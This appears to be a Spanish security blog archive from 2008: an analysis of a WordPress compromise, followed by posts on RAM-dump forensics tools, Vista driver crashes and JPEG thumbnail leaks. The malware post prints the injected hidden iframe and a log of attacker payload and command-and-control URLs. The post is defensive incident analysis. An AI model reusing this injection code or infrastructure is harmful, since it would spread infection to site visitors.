Malware y WordPress….

21 04 2008

Hola a tod@s!!

Hace poco me llegó un aviso de que WordPress podría tener un fallo de seguridad. Más o menos 8 o 10 horas después, me encuentro con que más de 30.000 sitios estaban afectados por esta vulnerabilidad, realizando una simple búsqueda en Google.

Hace unos 3 días, leyendo mi RSS  me encontré una entrada de Ignacio Escolar, en la que comentaba que había sido víctima de este ataque, así que me puse en contacto con él y me ofrecí a echarle un cable, ya que a mí me interesan mucho estos temas, y creo que puede ser de interés para los que leéis este blog.

Pego en este post todo lo que me he encontrado hasta ahora, por si hay algún afectado y le interesa el tema, ya que el Malware sigue activo en estos momentos.

Disclaimer: No abras el contenido de las Web que aparecen si tienes activado JavaScript

Si se aprovecha la vulnerabilidad, el exploit añade en el código fuente un Iframe que apunta a otro sitio Web, desde el que se lanzaba todo el ataque.

<!– Traffic Statistics –> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!– End Traffic Statistics –>

Este Iframe, te redirige a una Web, en la que en el código fuente hay un Javascript con el código ofuscado, el cual tenéis aquí (Guardar destino como…).

Al intentar decodificar el Javascript me aparece otro sitio Web, en este caso el siguiente:

http://www.wp-stats-php.info/iframe/good.php

Mirando por encima el contenido que suelta ese good.php, te das cuenta enseguida que se trata de un ejecutable, tal y como podéis comprobar en la siguiente imagen:

El archivo en cuestión, está empacado con UPX, famoso compresor y descompresor de ejecutables, y ampliamente utilizado por Malware.

Una vez que infecta la máquina, éste intenta descargarse varias muestras de Malware, también comprimidas con UPX. El informe completo lo tenéis en virustotal.

He realizado un análisis forense OnLine del malware en sí. Pongo aquí lo más característico.

Al ejecutar el malware en la máquina, éste intenta descargarse de Internet varias muestras. Las copias de estas muestras las aloja en streams del ejecutable Explorer.exe, el cual es legítimo de Spectra.

 Analizando el ejecutable con Process Explorer, se puede realizar una valoración de las peticiones que realiza el malware.

Se puede deducir en este caso, que el malware utiliza el equipo como un Zombie, el cual utiliza para establecer conexiones con otros blogs y direcciones de Internet, esperando ser atacadas.

El malware se descarga otro ejecutable de Internet. En este caso se descarga una aplicación de envío masivo de mails, el cual me queda por analizar, ya que utiliza SSL para el envío de éstos, y en la captura de red que he recogido todavía no me ha dado tiempo de analizar.

Para analizar el posible tráfico SSL que esté utilizando el malware a través de la inyección del Explorer.exe, utilicé las herramientas STRACE y HTTPREPLAY para analizar ese tráfico cifrado. Tenéis un excelente post de David Cervigón explicando estas herramientas. El log completo lo tenéis aquí (Guardar destino como…). 

En unos 45 minutos, el Malware me ha dejado un Log de conexiones de unos 13 MB, de los que se recoge, entre otra información, direcciones de los atacantes, las cuales son las siguientes:

BS-AR:https://www.yaho0-groups.info/base/a.php
uri: https://www.yaho0-groups.info/base/a.php
received from the base: https://61.155.8.157/test/5.php
retreive nu UID from https://61.155.8.157/test/5.php
uri: https://61.155.8.157/test/5.php
uri: https://61.155.8.157/test/5.php
*http://nil213.narod.ru/pom/pompay.jpg*
uri: http://nil213.narod.ru/pom/pompay.jpg
*http://alor686.narod.ru/fg/seh3.jpg*
uri: http://alor686.narod.ru/fg/seh3.jpg
*http://ronna58.narod.ru/anl/analyzer.jpg*
uri: http://ronna58.narod.ru/anl/analyzer.jpg
*http://folp0.narod.ru/yb/yb2.jpg*
uri: http://folp0.narod.ru/yb/yb2.jpg
*http://tri57.ingyenweb.hu/bl/bl2_5.jpg*
uri: http://tri57.ingyenweb.hu/bl/bl2_5.jpg
parB: *http://bonv3.narod.ru/cr/crawler.jpg*
uri: http://bonv3.narod.ru/cr/crawler.jpg
*http://tachell14.tripod.com/14/ggr4.jpg*
uri: http://tachell14.tripod.com/14/ggr4.jpg
*http://tenta9.narod.ru/gml/gmail3.jpg*
http://tenta9.narod.ru/gml/gmail3.jpg
*http://utenti.lycos.it/nil21/is/whois2.jpg*
uri: http://utenti.lycos.it/nil21/is/whois2.jpg
*http://minako49.tripod.com/rf/RF_DIP_1.jpg*
uri: http://minako49.tripod.com/rf/RF_DIP_1.jpg
*http://nil213.narod.ru/ext/extract5.jpg*
uri: http://nil213.narod.ru/ext/extract5.jpg
*http://donp4.narod.ru/fg/fg5.jpg*
uri: http://donp4.narod.ru/fg/fg5.jpg
https://61.155.8.157/test/5.php
master URI is http://61.155.8.157/gmail/gmail_task_1302.php
uri: https://61.155.8.157/test/5.php
master URI is http://69.93.173.58/analyzer/analyzer.php
uri: https://61.155.8.157/test/5.php
master URI is http://61.155.8.157/gmail/blogger_server_5.php
uri: https://61.155.8.157/test/5.php
master URI is http://61.155.8.157/test/5.php
uri: https://61.155.8.157/test/5.php
master URI is http://69.93.173.58/crawler/crawler.php
uri: https://61.155.8.157/test/5.php
master URI is http://69.93.173.58/whois/whois.php
uri: https://61.155.8.157/test/5.php
master URI is http://61.155.8.157/test/stask.php

Como información adicional, también se recoge información sobre los Blogs a los que ataca:

 En el Log también se recoge información sobre el método de inyección en el ejecutable Explorer.exe:

Por otro lado están las capturas de red que he realizado mientras el Malware estaba activo en la máquina, dando también bastante información sobre el Malware en sí, ya que utiliza nombres de usuario y password en claro para autenticarse en varios sitios Web, y con los que realiza comentarios (SPAM) en los que se sugiere que se descarguen cierta basura de Internet, como Ringtones, aplicaciones para jugar al Casino, etc…

El servidor, al parecer está alojado en China, según localización de dominio e IP. Podéis realizar otra comprobación en esta Web.

Con esta información, lo primero que debéis hacer es banear toda dirección IP que pueda enlazar a uno de estos ejecutables, y revisar comentarios en nuestros Blogs, ya que podemos, sin quererlo, estar propagando de alguna forma este ataque masivo.

Como nota final, comentar que si algún equipo sigue el principio del mínimo privilegio, esta infección no se provocaría en el sistema, al carecer de privilegios como inyección y alojamiento de Malware en el directorio %systemroot%.

Si alguno está afectado y necesita información, que me mande un mail y le pasaré toda la información al respecto.

1Saludo a tod@s! 




Análisis memoria RAM. Búsqueda de procesos I

8 04 2008

En todo análisis forense, se debe atender a un orden de volatilidad. Los datos contenidos en la memoria RAM y el archivo de paginación están en los primeros puestos de este orden. Por esto mismo, es por lo que muchas empresas que se dedican al forense informático, en muchas de sus variantes, deciden prescindir de investigar lo que hay en RAM, para dedicarse a otra información menos volátil, como por ejemplo el contenido del disco duro. El problema viene cuando sólo tenemos como pruebas un volcado de memoria (DUMP) o un archivo de paginación (pagefile.sys).

En este artículo y en el siguiente, haré mención a las herramientas que tenemos a día de hoy para analizar un volcado de memoria RAM (DUMP).

A día de hoy, pienso que la memoria RAM es de vital importancia en una investigación, ya que entre otras cosas, podremos encontrarnos con lo siguiente:

  • Procesos en ejecución
  • Procesos en fase de terminación
  • Conexiones activas (TCP-UDP)
  • Ficheros mapeados (Drivers, Ejecutables, Ficheros)
  • Objetos en caché (HTML,JavaScript,Passwords)
  • Elementos ocultos (Rootkits)

Como en toda investigación, la información que podamos recopilar depende de muchos factores, tales como el sistema operativo, el TimeLive de la máquina y lógicamente, el tamaño de la memoria RAM. Pongamos como ejemplo a Windows Vista y Windows XP. Windows Vista maneja de forma diferente los datos en memoria RAM. Utiliza mucho el acceso a RAM, para no cargar tanto al disco duro, ya que el acceso a memoria RAM es mucho más rápido que el acceso a disco. Windows XP no carga tanto la RAM, y en cambio utiliza mucho más el archivo de paginación.

Dependiendo del sistema operativo tendremos más o menos herramientas para realizar búsquedas. En este artículo mostraré una para Windows 2000, y que se llama memparser.

Memparser es una herramienta creada a raíz de un reto forense y desarrollada por Chris Betz. Antes de desarrollar la herramienta en cuestión, tuvo que debuggear un kernel de un Windows 2000 SP4 para buscar similitudes, identificar estructuras, y analizar el código resultante del debugging.

Cada proceso en Windows 2000 es representado por un bloque ejecutivo de proceso (Executive Process). Cada bloque representa a un proceso y contiene estructuras y datos relacionados con ese objeto. En la memoria también residen los hilos que crean estos procesos (ETHREAD), tokens de acceso, Kernel Process (KPROCESS), el cual tiene información sobre el tanto por ciento del kernel utilizado por cada proceso, etc…

La herramienta en cuestión busca lo siguiente:

  • EPROCESS
  • Objetos de Kernel
  • Drivers
  • Contenido de memoria

De todas las herramientas que hay, esta es la más completa de todas, ya que podremos desde listar los procesos que hay en un volcado de memoria, hasta por ejemplo sacar el contenido de la memoria del ejecutable, y con el que podremos, por ejemplo, buscar posibles restos de malware.

En sucesivos artículos, repasaremos las diferentes opciones que tenemos para otros sistemas operativos.

Enlaces

Memparser (SourceForge)

Inside Microsoft Windows 2000 Third Edition




Esos malditos drivers…

6 04 2008

El otro día en la presentación de BCN sobre técnicas de análisis forense en memoria RAM me puteó mucho el que el driver de salida de la controladora de vídeo me diera varios petes. Gracias a dios que fue el único incidente en mi presentación, y la historia fue, cuanto menos, anecdótica. Pido perdón a los asistentes, ya que me hubiese gustado que la charla hubiese durado más de 1 hora, pero por falta de tiempo no pudimos alargarla más. Aún así espero que os haya gustado a todos los que fuisteis.

Me he empapado esta semanita sobre el tema de drivers en Windows Vista, y la cosa parece que lleva su tiempo macerando con el tema de los Windows Capable. Por lo visto Microsoft fue denunciada hace tiempo por este tema, ya que algunos componentes de hardware antiguos junto con sus drivers de los Windows Vista Capable dejan mucho de desear.

En este blog, hace más de un mes que se hicieron eco del tema, e incluso publicaron documentos oficiales del juicio contra Microsoft por el tema de la etiqueta Capable. El pdf, de 158 paginitas, lo tenéis aquí.

Microsoft se puso las pilas, y se puso a investigar qué pasaba con esos Vista Capable. Aquí lo que he encontrado en la Web.

Spectra ha mirado en Archive.org para ver la publicidad que tenian HP y DELL en el momento de publicitar la venta de sus equipos. Aquí os dejo lo que he encontrado.

http://www.microsoft.com/Presspass/presskits/vistacapable/docs/KelleyChim1-2.pdf

http://www.microsoft.com/Presspass/presskits/vistacapable/docs/KelleyRiquelmy3-4.pdf

http://www.microsoft.com/Presspass/presskits/vistacapable/docs/Kelley_Dell_Riquelmy_declaration11_07.pdf

http://www.microsoft.com/Presspass/presskits/vistacapable/docs/KelleyRiquelmy6.pdf

http://www.microsoft.com/Presspass/presskits/vistacapable/docs/Kelley_motiontostay3_7_08.pdf

En Justia.com también se encuentran algunos documentos más

http://www.justia.com/search.py?cx=001017683474852908061%3Aoct7h3tcday&q=+Case+2%3A07-cv-00475-MJP+&cof=FORID%3A11

El documento anterior (158 páginas), me lo leí hace un par de días y debo de reconocer que el proceso ha sido lamentable, por parte de todos. Sólo cuando hacen un “forense” de varias baterías de Windows Vista, uno se da cuenta de la inestabilidad de algunos drivers para la plataforma Vista, y de ahí los cuelgues, pantallazos y demás. En el documento podréis ver que casi un 30% de los cuelgues de Vista son provocados por drivers Nvidia, y en mi caso, en un 8 y pico %, los cuelgues derivados de Intel.

Ahora expongo mis quejas.

Me parece cojonudo que al hardware “antiguo” se le quiera dar salida. Hoy en día tanto el soft como el hard va muy rápido, pero por el contrario, hay cosas que no van tan rápido, como los procesadores por ejemplo, ni el esperado paso a 64 bits en plataformas de cliente, algo que está dando muchos quebraderos de cabeza a muchos usuarios, debido a que en comparación con la arquitectura de 32 bits, no hay software suficiente para satisfacer las necesidades de los usuarios. Y de los drivers de 64 bits ni hablamos ya. Al fabricante no le interesa de momento el mercado cliente de 64 bits, ya que para la plataforma Microsoft, todos los drivers de 64 bits necesitan estar certificados bajo la WHQL, y al fabricante no le interesa ponerse a picar código ni  a pagar un certificado WHQL que certifique que ese driver funciona a la perfección en el sistema operativo. El problema es cuando se le quiere dar salida al hardware “antiguo” con soft que no está diseñado para soportar un driver antiguo. Y creo que ahí radica uno de los fallos de Spectra. El de dar soporte a drivers de dudosa calidad. Pero ahí entra en juego una cuestión. La de que hay que tener contento a todo el mundo. Y yo creo que a estas alturas, deberemos saber que a todo el mundo no se le puede tener contento.

Un problema de Windows Vista, a mi parecer, radica en que al dejarse “querer” por todos, se puede convertir en la facilona de la clase, como ya le pasó a XP en muchos aspectos. El problema es que el usuario sólo ve lo que tiene delante, o sea, a su Windows. Lo que no se le pasará por la cabeza es que posiblemente la culpa de su mal de amores sea algún componente (driver) interno.

Obviamente, la compatibilidad hacia atrás debe existir, pero con unos límites. Esos límites los tendremos que poner nosotros, porque este tipo de aplicaciones y drivers, siempre existirán. y Spectra debería de ponerse las pilas con los drivers que no cumplen con lo mínimo.

Recomiendo leer el blog de Rfog, que a nivel de arquitectura de sistemas sabe muchísimo, y de vez en cuando sorprende con un post sobre arquitectura. Sus post sobre el análisis que hace sobre los libros que lee y la tecnología que utiliza para leerlos, son buenísimos también. Su blog en Geeks es muy recomendable si queréis conocer sobre tecnología .NET y otras cosillas!

Eso es todo chic@s!

1Saludo!




Como cagarla en una página Web. By Maligno

22 02 2008

————————————Artículos anteriores ————————————————

http://windowstips.wordpress.com/2008/02/13/analisis-de-memoria-ram-recogida-de-evidencias/

http://windowstips.wordpress.com/2008/02/14/analisis-de-memoria-ram-metodos-de-recoleccion-alternativos/

http://windowstips.wordpress.com/2008/02/18/analisis-de-memoria-ram-verificando-la-integridad/

http://windowstips.wordpress.com/2008/02/19/analisis-de-memoria-ram-un-caso-extrano/

 ————————————————————————————————————-

Hola a tod@s!

Preparando el evento del día 3 de Abril del nuevo AseguraIT, la parte que me corresponde es la de análisis forense. Voy a hacer especial hincapié en la recogida y análisis de evidencias, en especial la memoria RAM, junto con las posiblidades que tiene. Si tenemos tiempo también vamos a meter algo sobre forense de imágenes, nuevas técnicas y herramientas interesantes. Como ya sabéis que el Maligno se mete-autoinvita en todos los fregados, me ha mandado un bonito post sobre cómo cagarla en una Web (Se ve que palako y el Maligno se lo pasan cojonudamente in London…), así que os la reproduzco palabra a palabra.

Nota: Ni de coña yo hablo como reproduce el Maligno…. Lo que pasa es que los cabrones estos no saben escuchar a los Trianeros profundos….

Como cagarla en una página Web

A mí, que me gustan las cosas raras como el erotismo entre especies, la compartición de alimentos en una única taza o el retro-placer, me vienen bien las páginas de contactos sexuales. Son sitios en los que se puede conocer a gente de todo tipo, tamaño, color y sabor… con gusto aun más divertidos que los mios.

Vale, una vez acabada la intro de este post, si habéis tenido la mala idea de seguir los links os doy unos minutos para beber algo fresquito y continuar leyendo tras haber reciclado la última comida que halláis digerido.

[wait for ’00:03:00’]

Bien, como iba diciendo, a mí, que me van los rollos raros, me cuesta conseguir este tipo de cosas (yo creo que es porque soy informático, no porque los vicios sean raros…). El caso es que me había creado un anuncio en el que se ofrecía “Maligno Macho Bravío Español”, como en la foto siguiente:

Sí, como notaréis en ella, he quitado ciertas partes cruciales de la foto para no poder ser reconocido. Así que la puse en el anuncio [No os digo la página que algunos de vosotros sois capaces de pedirme rollito porno…]. 

El asunto es que el otro día, el amigo Silverhack me dijo con su peculiar acento madrileño “illo, peroquehazez!! ¡Qué te van a ver toda la pilililla….ideputa!!”

“Comor?”

“Puez ezo dezgraziaaaaao, que te van a ver de color tienes los calandrios!”.

Así que me contó cómo es la demo que está preparando para el próximo evento de AseguraIT que va a ser el día 3 de Abril en Barcelona.

Las fotos JPEG, dentro de la información que se almacena, tienen la posibilidad de guardar un thumbnail. Esta imagen en miniatura se utiliza para poder procesar rápidamente ciertas aplicaciones gráficas. Cuando tú utilizas una herramienta de edición gráfica el mismo programa gestiona el thumbnail que se crea. Si después manipulas la foto con un programa que no modifica el thumbnail, resulta que has publicado una foto modificada con el thumbnail de la foto original. Con un sencillo programa como jhead alguien puede extraer el thumnail de la foto con un sencillo comando: jhead –st thumbnail.jpg foto.jpg.

Existen multitud de programas para extraer información EXIF y con las que podremos realizar numerosas tareas. Otra de estas herramientas, que curiosamente no está diseñada como aplicación forense, pero que tiene una especial relevancia en temas de fotografías digitales, son las herramientas de ExifUtils.  

ExifUtils

Para preparar un entorno con esto:

1.- Abre una foto con el photoshop o cualquier otra herramienta que genere el thumbnail.

2.- Después recórtala con el MSPaint, por ejemplo, y guarda la foto.

3.- Si sacas el thumbnail de la foto modificada aparecerá el thumbnail de la foto original sin modificar… ¿Sencillo, no?

¿Qué se vería en mi foto original?

Bueno, supongo que ninguno de vosotros tendrá fotos de estas por ahí como yo, ¿no?

Saludos malignos!




Análisis de memoria RAM. Un Caso extraño

19 02 2008

En el artículo anterior, estuvimos viendo la recogida de información de la memoria RAM haciendo uso de los objetos del sistema operativo. En este artículo veremos la recogida de información desde otra perspectiva.

En ocasiones, y tras un ataque exitoso, un sistema puede presentar algo de inestabilidad, posiblemente debido a la eliminación de ficheros esenciales de sistema, instalación de aplicaciones no compatibles con el sistema, parcheo de estructuras del Kernel, etc.. Cuando un sistema presenta este cuadro de síntomas, no es de extrañar que el sistema presente un BSOD, indicando que algo está fallando, y es entonces cuando nos tenemos que preguntar: apagamos el equipo? Reiniciamos el equipo?

Un ejemplo válido se puede dar con el rootkit FU. Ampliamente conocido, este rootkit trabaja en modo Kernel sobreescribiendo estructuras propias del mismo, lo que le permite por ejemplo ocultar procesos. En muchas ocasiones, y tras instalarlo en el sistema, el proceso que se desee ocultar se oculta con facilidad, pero a la hora de detectarlo, puede que el sistema operativo presente un BSOD indicando que hay “algo” que no va bien. El proceso que sigue Windows para pintar la pantalla azul es el siguiente:

  • Manda parar las interrupciones del sistema
  • Llama a la CPU a detener
  • Pinta la pantalla azul
  • Notifica el driver que ha fallado
  • Si el DUMP está configurado, lo prepara para su volcado

En el procedimiento interno intervienen procesos como smss.exe, winlogon y savedump, los cuales son los que realizan las llamadas para extraer el volcado y pasarlo a un fichero. En el transcurso en el que el sistema vuelca el contenido de la RAM hasta que lo deposita en su correspondiente fichero, el sistema debe de guardar los datos en el archivo de paginación pagefile.sys. Al reiniciar el sistema operativo después de un BSOD, el proceso savedump es el encargado de pasar el volcado de memoria a su correspondiente fichero. Para que el procedimiento no presente errores, el archivo de paginación debe ser por lo menos 1′5 veces más grande que la memoria RAM. Si el archivo de paginación no sigue esta premisa, el volcado de memoria no se completará, o se completará con errores (Volcado corrupto).

Habrá ocasiones en las que cuando se nos presente un caso con estas características y se presente un BSOD, no podamos reiniciar el equipo para obtener muestras, con lo que atendiendo al RFC  3227, en un principio tan solo podríamos realizar un análisis de ficheros y disco, obviando los aspectos de memoria RAM. Pero gracias al comportamiento que tiene Windows a la hora de realizar el volcado de memoria, podemos recuperar ese volcado gracias al archivo de paginación.

dump.png

Para realizar la conversión, utilizaremos de nuevo la herramienta dd para volcar el contenido del archivo de paginación a un nuevo archivo DMP.

ddpagefile.png

Finalmente, podemos comprobar su integridad con las herramientas dumpchk o dmpchkex, ambas explicadas en anteriores artículos.

dmpchkpagefile.png

En posteriores artículos nos centraremos en la clase de información que podremos extraer de un volcado de memoria.

Enlaces:

Opciones de rendimiento en Windows XP

Optimizar archivo de paginación

DPM Magic

Memoria Virtual

Windows Hang and Dump Analysis (Mark Russinovich)

Saludos!




Análisis de memoria RAM. Verificando la integridad

18 02 2008

Una vez que hemos realizado los volcados de memoria, llega la hora de verificar la integridad de las mismas para comprobar si son factibles a la hora de trabajar con ellas. En este artículo presentaré herramientas de verificación de volcados de memoria en formato DMP, formato escogido para trabajar con las herramientas de debugging de Microsoft.

Este tipo de herramientas se hacen indispensables para la persona que se dedique o tenga relación directa con el análisis de volcados de memoria, ya que por un despiste, podemos perder horas y horas de trabajo. Si estamos trabajando con tipos de datos no muy grandes (Menor a un Giga por ejemplo), el proceso de copiado de éstos se hace sencillo, pero cuando trabajamos con equipos en los que la memoria RAM sobrepasa los 4GB, el transporte y análisis de éstos se hace mucho más complicado (Dependiendo del tipo de volcado que tenemos configurado en la máquina), y necesitamos más que nunca verificar la integridad de éstos. Si un volcado de memoria se genera de forma corrupta, no podremos abrirlo con ningún debuggeador, y tendremos que utilizar otras técnicas más austeras, complejas y tediosas para su análisis.

El funcionamiento de este tipo de utilidades es sencillo en su forma. Abren el volcado de memoria en busca del fallo que lo ha causado, como el código de error, y muestran el tipo de arquitectura de máquina, tipo de sistema operativo, etc.. Si no hay ningún código de error que muestre lo contrario, el volcado de memoria será íntegro, y podremos transportarlo en un medio seguro para poder trabajar con él.

A continuación muestro las dos herramientas más usadas para este tipo de verificación.

DumpChk

De las dos que presento en este artículo, dumpchk es la más completa, ya que esta herramienta nos va a mostrar mucha información sin tener que depurar nada, simplemente ejecutando este comando.

Esta herramienta nos va a mostrar desde el sistema operativo en donde proviene el volcado, uptime de la máquina, versión de compilación del sistema operativo, offset de la base del kernel, tipo de arquitectura, etc… Como podréis observar, muchísima información base y sin tener que depurar nada.

dumpchk.png

Esta herramienta, junto con muchas otras (Como bindiff para comparar ejecutables), las tenemos en el mismo CD de Windows XP por ejemplo, o descargando las Support Tools de Windows XP SP2, desde esta dirección:

http://www.microsoft.com/downloads/details.aspx?familyid=49ae8576-9bb9-4126-9761-ba8011fabf38

Si el volcado de memoria no es válido para ser tratado con las herramientas de debugging de Microsoft, nos aparecerá una respuesta diferente a la anterior:

errordumpchk.png

DumpCheck Utility (Citrix)

DumpCheck Utility, es otra de las grandes herramientas desarrolladas por Dmitry Vostokov. Esta herramienta también nos ayudará a verificar la integridad de un volcado de memoria. Cuando la integridad del volcado es correcta para que podamos realizar el análisis con Windbg, la herramienta mostrará lo siguiente:

dmpcheck.png

Si la herramienta detecta que el volcado de memoria no cumple con los criterios de integridad, o lo que es lo mismo, que el volcado está corrupto, la herramienta mostrará lo siguiente:

dmpcheckerror.png

Esta herramienta, junto con una explicación más detallada, la podéis descargar de aquí.

DumpCheck Utility Explorer (Citrix)

Para los que necesiten tener esta herramienta mucho más a mano, y no le guste tanto la línea de comandos, Dmitry Vostokov ha diseñado la misma herramienta, pero integrándola por completo en nuestro Explorer de Windows, haciendo esta tarea mucho más fácil, y mucho más amena para muchos. El funcionamiento es el mismo, pero esta vez sólo tendremos que utilizar el botón derecho del ratón. El resultado es el mismo que el anterior.

checkdump.png

La herramienta en cuestión, junto con su explicación detallada, la podéis descargar de aquí 

En el próximo artículo veremos un caso extraño de recolección de evidencias, aplicando técnicas diferentes y herramientas mostradas en estos artículos, consiguiendo un resultado óptimo.

Enlaces

Utilizar DumpChk en ambientes Windows NT, 2000 y 2003

Utilizar DumpChk en ambientes Windows XP

Saludos!




Análisis de memoria RAM. Métodos de recolección alternativos

14 02 2008

En ocasiones necesitaremos realizar un volcado de la memoria RAM cuando fallen o no se den las siguientes circunstancias:

  • No tenemos acceso físico a la máquina (Distinto país por ejemplo)
  • Fallan las configuraciones de Teclado para el forzado del DMP (Teclado no soportado por ejemplo)
  • Sistema sin Teclado
  • No tenemos acceso a la consola del servidor

Cuando se dan estas características o circunstancias, necesitaremos forzar a la máquina para que realice un volcado de memoria. Vamos a detallar las herramientas más comunes:

NotMyFault (SysInternals)

Con esta herramienta podemos provocar un BSOD, junto con el consecuente volcado de memoria, y podremos configurar la herramienta para que realice el volcado en base a unos errores específicos. La herramienta la podéis descargar de aquí, y un breve resumen de ella junto con el análisis de un BSOD lo tenéis aquí y aquí.

SystemDump (Citrix)

Herramienta creada por Dmitry Vostokov, y como la anterior herramienta, nos servirá para forzar a la máquina a que realice un volcado de la memoria RAM.

Esta herramienta se puede utilizar tanto en entorno gráfico (UI) como bajo línea de comandos, y el manejo de ella es bastante sencillo.

system.png

Bajo línea de comandos, teclearemos el comando SystemDump <cadena de texto a mostrar> <tiempo>.

LiveKD (SysInternals)

LiveKD es una utilidad que nos permitirá utilizar de forma local todos los comandos del debuggeador Windbg. Para utilizar esta herramienta, primero necesitaremos instalar en la máquina las Debugging Tools de Windows. Una vez realizada la instalación, añadiremos al directorio en donde hemos instalado el Windbg la herramienta LiveKD, la cual podéis descargar de aquí.

El funcionamiento de esta herramienta es bastante sencillo (para el caso que nos ocupa). Una vez ejecutada la herramienta, ésta ejecuta los comandos y ejecutables propios del debugeador de Windows, y una vez terminada, podremos ejecutar comandos del debugeador.

Lo bueno de esta herramienta, es que podremos realizar un volcado de memoria en vivo, sin tener que reiniciar el sistema operativo. Lo malo, es que tenemos que tener instaladas estas herramientas en el equipo.

livekd.png

Sin Acceso Físico

Cuando no tengamos acceso físico a la máquina en cuestión, bien por cuestiones geográficas, o bien por otras causas, podremos utilizar la herramienta de SysInternals Psexec, con la cual podremos ejecutar comandos de forma remota como si estuviesemos trabajando en local. Para el caso que nos ocupa, podemos utilizar la herramienta psexec junto con systemdump, ya que también podemos ejecutarla bajo línea de comandos.

psexec.png

Cuando no queremos el MD5

Desde hace bastante tiempo hay mucha controversia con el MD5, técnica utilizada para validar la integridad de un archivo. En su día se descrubió que era posible que dos archivos totalmente diferentes tuviesen el mismo hash, e incluso hay pruebas de concepto (POC), fruto de esas investigaciones. Los hay incluso que con una PlayStation 3 y un poco de imaginación, son capaces de predecir quién será el próximo presidente de EEUU….

md5c.png

Debido a eso, muchos investigadores forenses no simpatizan mucho con este método de validación de integridad, y desvían su atención hacia SHA1 por ejemplo.

Nicholas Harbour en su día ya pensó en esto. Esta persona, que en su día trabajó para el laboratorio forense del Departamento de Defensa rediseñó la herramienta dd, para que ésta soportase varios métodos de integridad, como por ejemplo SHA1, SHA256, etc.. Por defecto la herramienta valida en MD5. La herramienta en cuestiónn está publicada en SourceForge y se llama dcfldd

ddcifrado.png

En el próximo artículo veremos las opciones que tenemos para verificar la integridad de un volcado de memoria, y si es apto para ser utilizado en Windbg, la herramienta de debugging de Microsoft.

 Enlaces

Collisions for Hash Functions

Predicting the Winner of the 2008 US Presidential Elections using a Sony Playstation 3

Saludos!




Análisis de memoria RAM. Recogida de evidencias

13 02 2008

El análisis forense en sistemas informáticos, engloba muchos tipos de recogida de información para su posterior tratado. Entre ellos tenemos los siguientes:

  • Análisis de aplicaciones
  • Análisis de BBDD
  • Análisis de ficheros
  • Análisis de red
  • Análisis de memoria RAM
  • Análisis de SWAP, paginación
  • Análisis de discos físicos
  • Análisis Mobile
  • Análisis de impresoras
  • etc…

En accesos a disco nos podemos encontrar con muchísima información, como pueden ser documentos, información relevante al usuario en aspectos de navegación, passwords, logs de aplicaciones, logs de seguimiento, etc…

Pero en análisis forenses se echan de menos los datos que pudiesen contener la memoria RAM. En todo análisis forense se sigue un orden a la hora de recoger información, siempre atendiendo el orden de volatilidad. Un ejemplo de ello lo tenéis en el RFC 3227 de buenas prácticas a la hora de recoger información.

No voy a entrar en el debate sobre si es complicado o no la recogida de este tipo de información (RAM y derivados), y sobre si es admisible o no en un juicio. Eso se lo vamos a dejar a uno de los monstruos en esto. Juan Luis García (MVP Security) lo explica muy bien en su blog.

Lo que si veremos es qué podemos encontrarnos en RAM, y como podremos identificar, por ejemplo, aplicaciones maliciosas como rootkits inyectados directamente en memoria, restos de troyanos, direcciones IP, conexiones TCP/UDP registradas en máquina, passwords, etc…, junto con las herramientas que hoy día disponemos.

Puede que a lo mejor no se incluyan este tipo de pruebas en un juicio, pero de seguro nos ayudarán a entender mejor qué había en la máquina, y eso ya de por sí es un adelanto.

En sucesivos post comentaremos las formas de recogida de información de RAM y las posibilidades de cada una de ellas, tanto en su forma como en contenido.

Me voy a centrar básicamente en la recogida de información en base a adquisición de evidencias por software, que aunque menos seguro, la recogida es mucho más fácil y disponible para los usuarios.

Así que empecemos por el principio! 

Método I. Realizar un volcado de la RAM accediendo directamente al objeto de la memoria \Device\PhysicalMemory

Algunas aplicaciones pueden utilizar este objeto para acceder a la memoria física. En nuestro caso es el mismo. Necesitamos una herramienta que nos proporcione acceso a este objeto para poder realizar un volcado de la misma. Una herramienta indispensable para este tipo de volcados es utilizar la herramienta dd. Como esta serie de artículos tratan sobre Windows y el análisis de memoria del mismo, utilizaré una versión de esta herramienta, compilada para sistemas Windows y compilada para ser utilizadas en escenarios forense. Un buen conjunto de herramientas forense para la adquisición de evidencias lo tenemos en la página de George Garner, y su nombre es el siguiente. Forensics Acquisition Utilities.

dd Forensics

Aunque la imagen resultante podemos extraerla a otro disco duro, lo más correcto sería pasarla a través de la red, a otra ubicación que estuviese aislada de la zona 0.

Si queréis o necesitáis ver los objetos que tiene un sistema operativo Windows, podéis utilizar la herramienta WinObj de Sysinternals.

La herramienta dd la podemos combinar con NetCat o Crypcat (en su formato cifrado) para pasar la información a través de la red. Las opciones más comunes que se utilizan con la herramienta dd y en su versión para forense son las siguientes:

  • md5sum.- Calcula la firma digital para dar fe de la integridad de los datos
  • Log.- Por si queremos guardar un Log de la extracción
  • verifymd5.- Verificar la integridad de la imagen con el md5 obtenido

Para realizar este tipo de capturas, ya existen aplicaciones que automáticamente recogen este tipo de información. Un ejemplo de ésta herramienta es Helix. Herramienta basada en Knoppix y customizada para su uso en análisis forense, esta herramienta viene con una suite bastante amplia de herramientas para el tratamiento y análisis de información, lo que facilita y mucho las labores de recogida de información. El análisis y tratado de éstos, es otra historia aparte…

Helix

 

A partir de la versión Windows 2003 SP1, el acceso en modo usuario a este objeto del sistema, ya no es permitido, por lo que este tipo de herramientas ya no nos servirán para realizar volcados de memoria. Si necesitamos realizar un volcado de memoria en sistemas Windows después de la versión 2003 SP1 en adelante (Incluyento a Windows Vista y Windows Server 2008), tendremos que utilizar herramientas comerciales como las KntTools, de GMG Systems, o esperar a la próxima release del LiveCD Helix.  

En esta primera parte hemos visto los pasos necesarios para realizar un volcado de la RAM a través de los objetos de Windows. En artículos posteriores veremos otras situaciones que se nos pueden dar y sus posibilidades.

Enlaces:

Device/PhysicalMemory Object

Forensic RAM Dumping

Saludos!




Curiosidad con ASLR

2 01 2008

Hola a tod@s!

Llevo unas semanas poniéndo en orden toda la información disponible que conozco en materia de volcados de memoria RAM para análisis forense. Tengo el blog lleno de post sin terminar sobre este tema, y como promesa de año nuevo (aparte de dejar de beber…) he prometido terminar estos post, así que este Enero tocarán casi todos los post sobre memoria RAM.

Pues haciendo volcados de la memoria RAM en mi Vista, me di cuenta de un comportamiento curioso con ASLR. Esta característica viene de serie y activada en Windows Vista, pero por lo que he podido comprobar, sólo los ejecutables de Windows Vista y algunas aplicaciones compatibles con Windows Vista se “aprovechan” de esta característica.

